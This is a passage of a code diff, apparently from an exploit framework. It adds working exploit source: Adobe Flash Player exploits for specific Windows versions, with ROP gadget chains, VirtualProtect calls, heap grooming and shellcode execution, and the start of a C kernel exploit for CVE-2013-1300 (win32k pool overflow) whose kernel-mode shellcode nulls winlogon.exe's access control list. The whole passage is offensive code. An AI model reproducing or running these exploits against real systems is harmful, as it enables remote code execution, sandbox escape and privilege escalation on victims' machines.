payload.writeUnsignedInt((vftableAddr_copy + 5481024));
payload.writeUnsignedInt((vftableAddr_copy + 5107604));
payload.writeUnsignedInt((vftableAddr_copy + 5747979));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,5,502,110":
vftableAddr_copy = (vftableAddr_copy - 11716376);
_local_5 = (vftableAddr_copy + 0xEC6000);
payload.position = 20;
payload.writeUnsignedInt((vftableAddr_copy + 9813154));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 448623));
payload.position = 96;
payload.writeUnsignedInt((vftableAddr_copy + 9326463));
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
payload.writeUnsignedInt((vftableAddr_copy + 5731300));
payload.writeUnsignedInt((vftableAddr_copy + 8910259));
payload.writeUnsignedInt((vftableAddr_copy + 8630687));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,5,502,135":
vftableAddr_copy = (vftableAddr_copy - 11716400);
_local_5 = (vftableAddr_copy + 0xEC6000);
payload.writeUnsignedInt((vftableAddr_copy + 1101327));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 4733912));
payload.position = 76;
payload.writeUnsignedInt((vftableAddr_copy + 4540));
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
payload.writeUnsignedInt((vftableAddr_copy + 28862));
payload.writeUnsignedInt((vftableAddr_copy + 512197));
payload.writeUnsignedInt((vftableAddr_copy + 1560889));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,5,502,146":
vftableAddr_copy = (vftableAddr_copy - 11716320);
_local_5 = (vftableAddr_copy + 0xEC6000);
payload.writeUnsignedInt((vftableAddr_copy + 1101327));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 4733912));
payload.position = 76;
payload.writeUnsignedInt((vftableAddr_copy + 4540));
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
payload.writeUnsignedInt((vftableAddr_copy + 28862));
payload.writeUnsignedInt((vftableAddr_copy + 512197));
payload.writeUnsignedInt((vftableAddr_copy + 1560889));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,5,502,149":
vftableAddr_copy = (vftableAddr_copy - 11712240);
_local_5 = (vftableAddr_copy + 0xEC6000);
payload.position = 5;
payload.writeUnsignedInt((vftableAddr_copy + 10373824));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 4331881));
payload.position = 77;
payload.writeUnsignedInt((vftableAddr_copy + 9292830));
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
payload.writeUnsignedInt((vftableAddr_copy + 5731956));
payload.writeUnsignedInt((vftableAddr_copy + 7150772));
payload.writeUnsignedInt((vftableAddr_copy + 3344264));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,168":
vftableAddr_copy = (vftableAddr_copy - 11825816);
_local_5 = (vftableAddr_copy + 0xEE9000);
payload.position = 5;
payload.writeUnsignedInt((vftableAddr_copy + 9924439));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 4370139));
payload.position = 77;
payload.writeUnsignedInt((vftableAddr_copy + 9564155));
payload.writeUnsignedInt((vftableAddr_copy + 10736920));
payload.writeUnsignedInt((vftableAddr_copy + 5830863));
payload.writeUnsignedInt((vftableAddr_copy + 9044861));
payload.writeUnsignedInt((vftableAddr_copy + 7984191));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,171":
vftableAddr_copy = (vftableAddr_copy - 11834040);
_local_5 = (vftableAddr_copy + 0xEEA000);
payload.position = 5;
payload.writeUnsignedInt((vftableAddr_copy + 9925589));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 4370636));
payload.position = 77;
payload.writeUnsignedInt((vftableAddr_copy + 9564442));
payload.writeUnsignedInt((vftableAddr_copy + 10741016));
payload.writeUnsignedInt((vftableAddr_copy + 5771380));
payload.writeUnsignedInt((vftableAddr_copy + 10153408));
payload.writeUnsignedInt((vftableAddr_copy + 7983199));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,180":
vftableAddr_copy = (vftableAddr_copy - 11824712);
_local_5 = (vftableAddr_copy + 0xEE9000);
payload.position = 5;
payload.writeUnsignedInt((vftableAddr_copy + 9923173));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 4368414));
payload.position = 77;
payload.writeUnsignedInt((vftableAddr_copy + 9562061));
payload.writeUnsignedInt((vftableAddr_copy + 10736920));
payload.writeUnsignedInt((vftableAddr_copy + 5828990));
payload.writeUnsignedInt((vftableAddr_copy + 9042989));
payload.writeUnsignedInt((vftableAddr_copy + 8661666));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,7,700,169":
vftableAddr_copy = (vftableAddr_copy - 12902952);
_local_5 = (vftableAddr_copy + 16904192);
payload.writeUnsignedInt((vftableAddr_copy + 1116239));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 10368763));
payload.position = 76;
payload.writeUnsignedInt((vftableAddr_copy + 2586086));
payload.writeUnsignedInt((vftableAddr_copy + 11752328));
payload.writeUnsignedInt((vftableAddr_copy + 32732));
payload.writeUnsignedInt((vftableAddr_copy + 8192266));
payload.writeUnsignedInt((vftableAddr_copy + 1578904));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,7,700,202":
vftableAddr_copy = (vftableAddr_copy - 0xc4f508);
_local_5 = (vftableAddr_copy + 0x101f000);
payload.position = 8;
payload.writeUnsignedInt((vftableAddr_copy + 0x7dfcd2)); // 107dfcd2 : add esp,44h ; ret
payload.position = 0x40;
payload.writeUnsignedInt((vftableAddr_copy + 0x12a269)); // 1012a269 : xchg edx,esp ; add eax,dword ptr [eax]; add byte ptr [edi+5Eh],bl ; pop ecx ; ret
payload.position = 0x50;
payload.writeUnsignedInt((vftableAddr_copy + 0xcb497)); // 100cb497 : pop eax ; ret
payload.writeUnsignedInt((vftableAddr_copy + 0xb35388)); // 10b35388 : ptr to VirtualProtect
payload.writeUnsignedInt((vftableAddr_copy + 0x110d3d)); // 10110d3d : mov eax,dword ptr [eax] ; ret
payload.writeUnsignedInt((vftableAddr_copy + 0x887362)); // 10887362 : push eax ; ret
payload.writeUnsignedInt((vftableAddr_copy + 0x331bff)); // 10331bff : jmp esp
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(0x40);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,8,800,97":
vftableAddr_copy = (vftableAddr_copy - 129165844);
_local_5 = (vftableAddr_copy + 16904192);
payload.position = 8;
payload.writeUnsignedInt(vftableAddr_copy);
payload.position = 16;
payload.writeUnsignedInt((vftableAddr_copy + 117625919));
payload.writeUnsignedInt(-1810746282);
payload.writeUnsignedInt((scAddr + 76));
payload.writeUnsignedInt((vftableAddr_copy + 122565891));
payload.position = 44;
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 0x0400));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 123362382));
payload.position = 80;
payload.writeUnsignedInt((scAddr + 192));
payload.position = 112;
payload.writeUnsignedInt((vftableAddr_copy + 32365));
payload.writeUnsignedInt((vftableAddr_copy + 11760520));
payload.writeUnsignedInt((vftableAddr_copy + 1117213));
payload.writeUnsignedInt((vftableAddr_copy + 3721232));
payload.writeUnsignedInt((vftableAddr_copy + 8274178));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,8,800,50":
vftableAddr_copy = (vftableAddr_copy - 12936000);
_local_5 = (vftableAddr_copy + 17149952);
payload.writeUnsignedInt((vftableAddr_copy + 404531));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 2583617));
payload.position = 72;
payload.writeUnsignedInt((vftableAddr_copy + 7914140));
payload.writeUnsignedInt((vftableAddr_copy + 4550));
payload.writeUnsignedInt((vftableAddr_copy + 11780992));
payload.writeUnsignedInt((vftableAddr_copy + 32684));
payload.writeUnsignedInt((vftableAddr_copy + 142358));
payload.writeUnsignedInt((vftableAddr_copy + 1577816));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
default:
return (null);
};
return (payload);
}
public function exploit():Boolean
{
var vector_objects_entry_length:int;
var shellcode_byte = null;
var _local_6:uint;
var i:int;
var vftable_addr:uint;
var shellcode_address:uint;
var vector_objects_entry_idx:uint;
var length_vector_byte_arrays:uint;
var vector_byte_arrays:Vector.<ByteArray> = new Vector.<ByteArray>(0);
var vector_objects:Vector.<Object> = new Vector.<Object>(0);
var twos_object:Object = new <Object>[2, 2, 2, 2, 2, 2, 2, 2];
var vickers_byte_array:ByteArray = new ByteArray();
while (i < 0x0500)
{
vector_byte_arrays[i] = new ByteArray();
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
i++;
};
vickers_byte_array.writeUTFBytes("vickers");
vickers_byte_array.length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
ApplicationDomain.currentDomain.domainMemory = vickers_byte_array;
vector_byte_arrays[i] = new ByteArray();
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
length_vector_byte_arrays = i;
i = 0;
while (i < (vector_byte_arrays.length - 1))
{
vector_byte_arrays[i++] = null;
};
i = 0;
while (i < 0x8000)
{
vector_objects[i] = new <Object>[i, twos_object, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1];
i++;
};
// _local_6 => nil => 0, makes li32(_local_6 - offset) makes it underflow!
// Example leak: 0275ef00 => 10c4f508 0000003b 00002326
if (((!((li16((_local_6 + 1)) == 114))) && (((vftable_addr = li32((_local_6 - 0x0100)) ) == 305419896))))
{
};
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_idx = li32((_local_6 - 248)) ) == 305419896))))
{
};
vector_objects_entry_idx = (vector_objects_entry_idx >> 3);
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_length = li32((_local_6 - 252)) ) == 305419896))))
{
};
// No success
if (vector_objects_entry_length != vector_objects[vector_objects_entry_idx].length)
{
vickers_byte_array = null;
vector_byte_arrays[length_vector_byte_arrays] = null;
i = 0;
while (i < vector_objects.length)
{
vector_objects[i++] = null;
};
return (false);
};
i = 0;
while (i < vector_objects.length)
{
if (i != vector_objects_entry_idx)
{
vector_objects[i] = null;
};
i++;
};
// Use underflow to leak shellcode address
if (((!((li16((_local_6 + 1)) == 114))) && (((shellcode_address = li32((_local_6 - 0x0200)) ) == 305419896))))
{
};
shellcode_address = (shellcode_address + 0x1300);
var rop_payload:ByteArray = makePayload(vftable_addr, shellcode_address);
if (rop_payload == null)
{
return (true);
};
var j:uint;
var shellcode_length:uint = shellcode.length;
var shellcode_byte_array:ByteArray = new ByteArray();
shellcode_byte_array.endian = "littleEndian";
while (j < shellcode_length)
{
shellcode_byte = (shellcode.charAt(j) + shellcode.charAt((j + 1)));
shellcode_byte_array.writeByte(parseInt(shellcode_byte, 16));
j = (j + 2);
};
vector_byte_arrays[length_vector_byte_arrays].position = 0;
vector_byte_arrays[length_vector_byte_arrays].endian = "littleEndian";
vector_byte_arrays[length_vector_byte_arrays].writeBytes(rop_payload);
vector_byte_arrays[length_vector_byte_arrays].writeBytes(shellcode_byte_array);
// Use underflow to overwrite and get code execution
if (li16((_local_6 + 1)) != 114)
{
si32((shellcode_address + 1), (_local_6 - 244));
};
vector_objects[vector_objects_entry_idx][1][0];
return (true);
}
}
}//package

View File

@ -0,0 +1,411 @@
//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf
package {
import flash.display.Sprite;
import flash.utils.ByteArray;
import flash.display.Shader;
import flash.system.Capabilities;
import flash.net.FileReference;
import flash.utils.Endian;
import __AS3__.vec.Vector;
import __AS3__.vec.*;
import flash.display.LoaderInfo;
public class Graph extends Sprite {
static var counter:uint = 0;
protected var Shad:Class;
var shellcode_byte_array:ByteArray;
var aaab:ByteArray;
var shellcodeObj:Array;
public function Graph(){
var tweaked_vector:* = undefined;
var tweaked_vector_address:* = undefined;
var shader:Shader;
var flash_memory_protect:Array;
var code_vectors:Array;
var address_code_vector:uint;
var address_shellcode_byte_array:uint;
this.Shad = Graph_Shad;
super();
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
var i:* = 0;
var j:* = 0;
// Just one try
counter++;
if (counter > 1)
{
return;
};
// Memory massage
var array_length:uint = 0x10000;
var vector_size:uint = 34;
var array:Array = new Array();
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(1);
i++;
};
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(vector_size);
i++;
};
i = 0;
while (i < array_length)
{
array[i].length = 0;
i++;
};
i = 0x0200;
while (i < array_length)
{
array[(i - (2 * (j % 2)))].length = 0x0100;
i = (i + 28);
j++;
};
// Overflow and Search for corrupted vector
var corrupted_vector_idx:uint;
var shadba:ByteArray = (new this.Shad() as ByteArray);
shadba.position = 232;
if (Capabilities.os.indexOf("Windows 8") >= 0)
{
shadba.writeUnsignedInt(2472);
};
shadba.position = 0;
while (1)
{
shader = new Shader();
try
{
shader.byteCode = (new this.Shad() as ByteArray);
} catch(e)
{
};
i = 0;
while (i < array_length)
{
if (array[i].length > 0x0100)
{
corrupted_vector_idx = i;
break;
};
i++;
};
if (i != array_length)
{
if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
};
array.push(new Vector.<int>(vector_size));
};
// Tweak the vector following the corrupted one
array[corrupted_vector_idx][vector_size] = 0x40000001;
tweaked_vector = array[(corrupted_vector_idx + 1)];
// repair the corrupted vector by restoring its
// vector object pointer and length
var vector_obj_addr:* = tweaked_vector[0x3fffffff];
tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
i = 0;
var val:uint;
while (true)
{
val = tweaked_vector[(0x40000000 - i)];
if (val == 0x90001B) break;
i++;
};
tweaked_vector_address = 0;
if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
{
tweaked_vector[4] = 0x41414141;
tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
};
// More memory massage, fill an array of FileReference objects
var file_reference_array:Array = new Array();
i = 0;
while (i < 64)
{
file_reference_array[i] = new FileReference();
i++;
};
var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
var do_it:Boolean = true;
var memory_protect_ptr:uint;
var aaaq:uint;
if (do_it)
{
flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
memory_protect_ptr = flash_memory_protect[0];
aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
this.fillCodeVectors(code_vectors);
tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
tweaked_vector[4] = aaaq;
tweaked_vector[0] = 0x1000; // Length
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
// 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
// 1) Set memory as executable
i = 0;
while (i < 64)
{
file_reference_array[i].cancel();
i++;
};
// 2) Execute shellcode
tweaked_vector[7] = address_code_vector;
i = 0;
while (i < 64)
{
file_reference_array[i].cancel();
i++;
};
// Restore FileReference cancel function pointer
// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
};
}
// returns the integer at memory address
// vector: vector with tweaked length
// vector_address: vector's memory address
// address: memory address to read
function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
if (address >= vector_address)
{
return (vector[((address - vector_address) / 4)]);
};
return (vector[(0x40000000 - ((vector_address - address) / 4))]);
}
function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
if (address >= vector_address)
{
vector[((address - vector_address) / 4)] = value;
} else
{
vector[(0x40000000 - ((vector_address - address) / 4))] = value;
};
}
function findFlashMemoryProtect(vector:*, vector_address:*):Array{
var content:uint;
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
var index:uint;
var memory_protect_ptr:uint;
var _local_6:uint;
if (allocation >= vector_address)
{
index = ((allocation - vector_address) / 4);
} else
{
index = (0x40000000 - ((vector_address - allocation) / 4));
};
//push 1 ; 6a 01
//push dword ptr [eax-8] ; ff 70 f8
//push dword ptr [eax-4] ; ff 70 fc
//call sub_1059DD00 // Will do VirtualProtect
var offset:uint;
while (1)
{
index--;
content = vector[index];
if (content == 0xfff870ff)
{
offset = 2;
break;
};
if (content == 0xf870ff01)
{
offset = 1;
break;
};
if (content == 0x70ff016a)
{
content = vector[(index + 1)];
if (content == 0xfc70fff8)
{
offset = 0;
break;
};
} else
{
if (content == 0x70fff870)
{
offset = 3;
break;
};
};
};
memory_protect_ptr = ((vector_address + (4 * index)) - offset);
index--;
var content_before:uint = vector[index];
if (content_before == 0x16a0424)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0x6a042444)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0x424448b)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0xff016a04)
{
return ([memory_protect_ptr, _local_6]);
};
_local_6 = (memory_protect_ptr - 6);
while (1)
{
index--;
content = vector[index];
if (content == 0x850ff50)
{
if (uint(vector[(index + 1)]) == 0x5e0cc483)
{
offset = 0;
break;
};
};
content = (content & 0xFFFFFF00);
if (content == 0x50FF5000)
{
if (uint(vector[(index + 1)]) == 0xcc48308)
{
offset = 1;
break;
};
};
content = (content & 0xFFFF0000);
if (content == 0xFF500000)
{
if (uint(vector[(index + 1)]) == 0xc4830850)
{
if (uint(vector[(index + 2)]) == 0xc35d5e0c)
{
offset = 2;
break;
};
};
};
content = (content & 0xFF000000);
if (content == 0x50000000)
{
if (uint(vector[(index + 1)]) == 0x830850ff)
{
if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
{
offset = 3;
break;
};
};
};
};
memory_protect_ptr = ((vector_address + (4 * index)) + offset);
return ([memory_protect_ptr, _local_6]);
}
// vector: vector with tweaked length
// address: memory address of vector data
function find_file_ref_vtable(vector:*, address:*):uint{
var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
// Find an allocation of size 0x2a0
var allocation_size:uint;
while (true)
{
allocation_size = this.read_memory(vector, address, (allocation + 8));
if (allocation_size == 0x2a0) break;
if (allocation_size < 0x2a0)
{
allocation = (allocation + 0x24); // next allocation
} else
{
allocation = (allocation - 0x24); // prior allocation
};
};
var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
while (true)
{
if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
};
return (allocation_contents);
}
// Returns pointer to the nops in one of the allocated code vectors
function findCodeVector(vector:*, vector_address:*, mark:*):uint{
var allocation_size:uint;
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
while (true)
{
allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
if (allocation_size == 0x7f0) break; // Code Vector found
allocation = (allocation + 0x24); // next allocation
};
// allocation contents should be the vector code, search for the mark 0x45454545
var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
while (true)
{
if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
};
return ((allocation_contents + 0x2c));
}
// create 8 vectors of size 0x7f0 inside an array to place shellcode
function createCodeVectors(mark:uint, nops:uint){
var code_vectors_array:Array = new Array();
var i:* = 0;
while (i < 8)
{
code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
i++;
};
return (code_vectors_array);
}
// Fill with the code vectors with the shellcode
function fillCodeVectors(array_code_vectors:Array) {
var i:uint = 0;
var sh:uint=1;
while(i < array_code_vectors.length)
{
for(var u:String in shellcodeObj)
{
array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
}
i++;
sh = 1;
}
}
}
}//package

View File

@ -0,0 +1,10 @@
package
{
import mx.core.ByteArrayAsset;
[Embed(source="binary_data", mimeType="application/octet-stream")]
public class Graph_Shad extends ByteArrayAsset
{
}
}

Binary file not shown.

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "schlamperei", "schlamperei\schlamperei.vcxproj", "{C093C490-61BF-433E-AEB4-80753B20DEC7}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.ActiveCfg = Debug|Win32
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.Build.0 = Debug|Win32
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.ActiveCfg = Release|Win32
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,17 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\cve-2013-1300.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86" />
<Target Name="x86">
<Message Text="Building CVE-2013-1300 Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei) x86 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="CVE-2013-1300 is not supported in x64" />
</Target>
</Project>

View File

@ -0,0 +1,291 @@
/*!
* @file dllmain.cpp
* @brief Exploit for CVE-2013-1300 aka ms13-053
* @detail Tested on Windows 7 32-bit.
* Used in pwn2own 2013 to break out of chrome's sandbox.
* Found and exploited by nils and jon of @mwrlabs.
*/
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// Purloined from ntstatus.h
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS
#ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#define MAX_PAGE 4096
#define TABLE_BASE 0xff910000
#define EXPLOIT_MSG WM_GETTEXT
// global variables FTW
HWND gHwnd = 0x0;
unsigned int gEPROCESS = 0x0;
unsigned gPid = 0x0;
typedef struct _HANDLEENTRY {
VOID *phead;
VOID *pOwner;
UINT8 bType;
UINT8 bFlags;
UINT16 wUniq;
} HANDLEENTRY, *PHANDLEENTRY;
DWORD gethandleaddress(HANDLE h) {
HMODULE mod = GetModuleHandleA("user32.dll");
DWORD* sharedinfo = (DWORD*)GetProcAddress(mod, "gSharedInfo");
PHANDLEENTRY handles = (PHANDLEENTRY)sharedinfo[1];
DWORD index = (DWORD)h&0x3ff;
HANDLEENTRY entry = handles[index];
return (DWORD)entry.phead;
}
DWORD kernelwndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
WORD um=0;
__asm {
mov ax, cs
mov um, ax
}
if(um == 0x1b) {
} else {
// KERNEL MODE CODE EXECUTION
// shellcode to change ACL of winlogon.exe to 0x0
__asm {
mov eax, hwnd // WND
mov eax, [eax+8] // THREADINFO
mov eax, [eax] // ETHREAD
mov eax, [eax+0x150] // KPROCESS
mov eax, [eax+0xb8] // flink
procloop:
lea edx, [eax-0xb8] // KPROCESS
mov eax, [eax]
add edx, 0x16c // module name
cmp dword ptr [edx], 0x6c6e6977 // "winl" for winlogon.exe
jne procloop
sub edx, 0x170
mov dword ptr [edx], 0x0 // null acl
mov eax, [edx + 0xb8] // write winlogon pid to global var
mov gPid, eax
}
return 0x201000;
}
return DefWindowProcW(hwnd,msg,wparam,lparam);
}
HWND createhelperwnd() {
WNDCLASSA wndclass;
HANDLE hinst = GetModuleHandleA(0);
DWORD rc = 0;
wndclass.style = 0x4000;
wndclass.lpfnWndProc = (WNDPROC)kernelwndproc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = (HINSTANCE)hinst;
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
wndclass.hCursor = 0;
wndclass.hbrBackground = (HBRUSH)6;
wndclass.lpszMenuName = 0;
wndclass.lpszClassName = (LPCSTR) 0x1338;
rc=RegisterClassA(&wndclass);
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1338, "helper", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
return windowhandle;
}
typedef NTSTATUS __stdcall NtAllocateVirtualMemory_T(HANDLE processHandle,
PVOID *baseAddress,
ULONG_PTR zeroBits,
PSIZE_T regionSize,
ULONG allocationType,
ULONG protect);
BOOL AllocFakeEProcess(DWORD address) {
unsigned int addr = 0x200000;
DWORD allocsize = 0x4000;
int x=0;
NtAllocateVirtualMemory_T * pfnNtAllocateVirtualMemory = 0;
pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory_T *)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
unsigned o = (0x20 / 4); // the offset into the page
NTSTATUS res = 0x0;
for(x=0; x<0x60; x++) {
res = pfnNtAllocateVirtualMemory((HANDLE)0xffffffff, (PVOID*)&addr, 0, &allocsize, 0x3000, 0x40);
if(res == 0x0) {
break;
}
addr += 0x10000;
}
if(res!=0) return FALSE;
memset((void*)addr, 0xab, 0x4000);
UINT *eprocess = (UINT*)addr+o;
UINT *before = (UINT*)addr;
// large enough values to hold reference
before[2] = 0x00080000;
before[3] = 0x400000;
UINT *second = (UINT*)addr + (0x1000/4);
for(x=0; x<100; x++) eprocess[x] = (0xdead<<16) + (0xaa00 | x);
eprocess[0] = 0x03030303; // least significant byte == 0x3
// Pointer to EPROCESS_QUOTA_BLOCK
// Will point into the window object and on decrement flip the flag to enable the kernel mode window procedure
eprocess[0xd4/4] = address;
gEPROCESS = (unsigned int)eprocess;
//for(x=0; x<100; x++) second[x] = (0xbeef<<16) + (0xbb00 | x);
//second[0x20] = 0x2;
//second[0x30] = 0x1;
return TRUE;
}
DWORD wndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
if(msg == EXPLOIT_MSG) {
// triggering the exploit through WM_GETTEXT
// printf("[-] WM_GETTEXT message\n");
unsigned char payload[] = "ABCDE ";
payload[7] = (gEPROCESS>>16) & 0xff;
memcpy((void *) lparam, (void *)payload, 8);
return 8;
}
return DefWindowProcA(hwnd, msg, wparam, lparam);
}
DWORD windowthreadproc(LPVOID arg) {
WNDCLASSA wndclass;
HANDLE hinst = GetModuleHandleA(0);
DWORD rc = 0;
MSG msg;
wndclass.style = 0x4000;
wndclass.lpfnWndProc = (WNDPROC)wndproc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = (HINSTANCE)hinst;
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
wndclass.hCursor = 0;
wndclass.hbrBackground = (HBRUSH)6;
